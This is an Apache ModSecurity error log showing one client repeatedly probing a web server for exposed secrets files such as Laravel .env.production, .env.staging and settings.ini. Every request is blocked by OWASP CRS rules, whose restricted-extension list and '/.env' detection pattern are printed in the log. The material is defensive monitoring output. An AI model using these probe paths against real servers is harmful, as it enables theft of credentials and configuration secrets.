[Thu Feb 26 01:02:47.451886 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3wAAAAI&quot;]
[Thu Feb 26 01:02:47.452082 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3wAAAAI&quot;]
[Thu Feb 26 01:02:47.499118 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4AAAAAI&quot;]
[Thu Feb 26 01:02:47.499343 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4AAAAAI&quot;]
[Thu Feb 26 01:02:47.499497 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4AAAAAI&quot;]
[Thu Feb 26 01:02:47.529769 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4GgAAAAY&quot;]
[Thu Feb 26 01:02:47.530277 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4GgAAAAY&quot;]
[Thu Feb 26 01:02:47.530454 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4GgAAAAY&quot;]
[Thu Feb 26 01:02:47.548770 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4QAAAAI&quot;]
[Thu Feb 26 01:02:47.548994 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4QAAAAI&quot;]
[Thu Feb 26 01:02:47.549158 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4QAAAAI&quot;]
[Thu Feb 26 01:02:47.574934 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4gAAAAI&quot;]
[Thu Feb 26 01:02:47.575160 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4gAAAAI&quot;]
[Thu Feb 26 01:02:47.575338 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4gAAAAI&quot;]
[Thu Feb 26 01:02:47.590460 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4GwAAAAY&quot;]
[Thu Feb 26 01:02:47.590678 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4GwAAAAY&quot;]
[Thu Feb 26 01:02:47.590829 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4GwAAAAY&quot;]
[Thu Feb 26 01:02:47.604528 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4wAAAAI&quot;]
[Thu Feb 26 01:02:47.604763 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4wAAAAI&quot;]
[Thu Feb 26 01:02:47.604953 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk4wAAAAI&quot;]
[Thu Feb 26 01:02:47.622679 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HAAAAAY&quot;]
[Thu Feb 26 01:02:47.622896 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HAAAAAY&quot;]
[Thu Feb 26 01:02:47.623044 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HAAAAAY&quot;]
[Thu Feb 26 01:02:47.633941 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5AAAAAI&quot;]
[Thu Feb 26 01:02:47.634155 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5AAAAAI&quot;]
[Thu Feb 26 01:02:47.634303 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5AAAAAI&quot;]
[Thu Feb 26 01:02:47.647464 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HQAAAAY&quot;]
[Thu Feb 26 01:02:47.647681 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HQAAAAY&quot;]
[Thu Feb 26 01:02:47.647836 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HQAAAAY&quot;]
[Thu Feb 26 01:02:47.676766 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5QAAAAI&quot;]
[Thu Feb 26 01:02:47.677000 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5QAAAAI&quot;]
[Thu Feb 26 01:02:47.677156 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5QAAAAI&quot;]
